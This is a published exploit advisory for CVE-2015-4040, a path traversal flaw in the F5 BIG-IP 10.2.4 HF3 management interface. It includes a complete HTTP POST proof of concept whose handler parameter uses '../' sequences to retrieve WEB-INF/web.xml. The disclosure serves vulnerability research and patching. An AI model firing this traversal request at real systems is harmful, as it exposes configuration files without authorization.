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F5 BigIP 10.2.4 Build 595.0 HF3 Path Traversal

F5 BigIP 10.2.4 Build 595.0 HF3 Path Traversal
Posted Oct 12, 2015
Authored by Karn Ganeshen

F5 BigIP version 10.2.4 Build 595.0 Hotfix HF3 suffers from a path traversal vulnerability.

tags | exploit, file inclusion
advisories | CVE-2015-4040
MD5 | f850a46f209835d27857572840d06cd1

F5 BigIP 10.2.4 Build 595.0 HF3 Path Traversal

Change Mirror Download
# Exploit Title: [F5 BigIP File Path Traversal Vulnerability]
# Discovered by: Karn Ganeshen
# Reported on: April 27, 2015
# New version released on: September 01, 2015
# Vendor Homepage: [www.f5.com]
# Version Reported: [F5 BIG-IP 10.2.4 Build 595.0 Hotfix HF3]
# CVE-2015-4040 [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4040]
# Multiple Additional F5 products & versions are Affected and documented here: https://support.f5.com/kb/en-us/solutions/public/17000/200/sol17253.html

Vulnerability Details
The handler parameter is vulnerable to file path manipulation attacks. 

When we submit a payload /tmui/locallb/virtual_server/../../../../WEB-INF/web.xml in the handler parameter, the file WEB-INF/web.xml is returned.

PoC:

POST /tmui/Control/form HTTP/1.1
Host: <IP>
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: https://<IP>/tmui/Control/jspmap/tmui/locallb/virtual_server/list.jsp?&FilterBy=status_availability&Filter=2
Content-Type: application/x-www-form-urlencoded
Content-Length: 1004
Cookie: JSESSIONID=3211A73547444840255BAF39984E7E3F; BIGIPAuthUsernameCookie=admin; BIGIPAuthCookie=9B1099DD8A936DDBD58606DA3B5BABC7E82C43A5; F5_CURRENT_PARTITION=Common; f5formpage="/tmui/locallb/virtual_server/list.jsp?&"; f5_refreshpage="https%3A//<IP>/tmui/Control/jspmap/tmui/locallb/virtual_server/list.jsp"; f5currenttab="main"; f5mainmenuopenlist=""; f5advanceddisplay=""

_timenow=Fri+Apr+24+14%3a48%3a38+EST+2015&_bufvalue_before=6hU2%2fMbRfPe7OHQ7VVc7TEffOpg%3d&exit_page=%2ftmui%2flocallb%2fvirtual_server%2fcreate.jsp&search_input=*&search_button_before=Search&_timeno
...[SNIP]...
fore=&enableObjList_before=&exit_page_before=%2ftmui%2flocallb%2fvirtual_server%2fcreate.jsp&row_count=0&_bufvalue_validation=NO_VALIDATION&disable_before=Disable&exit_button_before=Create...&handler=%2ftmui%2flocallb%2fvirtual_server%2f..%2f..%2f..%2f..%2fWEB-INF%2fweb.xml


Web.xml is returned in the Response:

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE web-app
PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.2//EN"
"http://java.sun.com/j2ee/dtds/web-app_2_2.dtd">
<!--
Automatically created by Tomcat JspC.
-->
<web-app>
...[config file output redacted here]...

.....

--
Best Regards,
Karn Ganeshen
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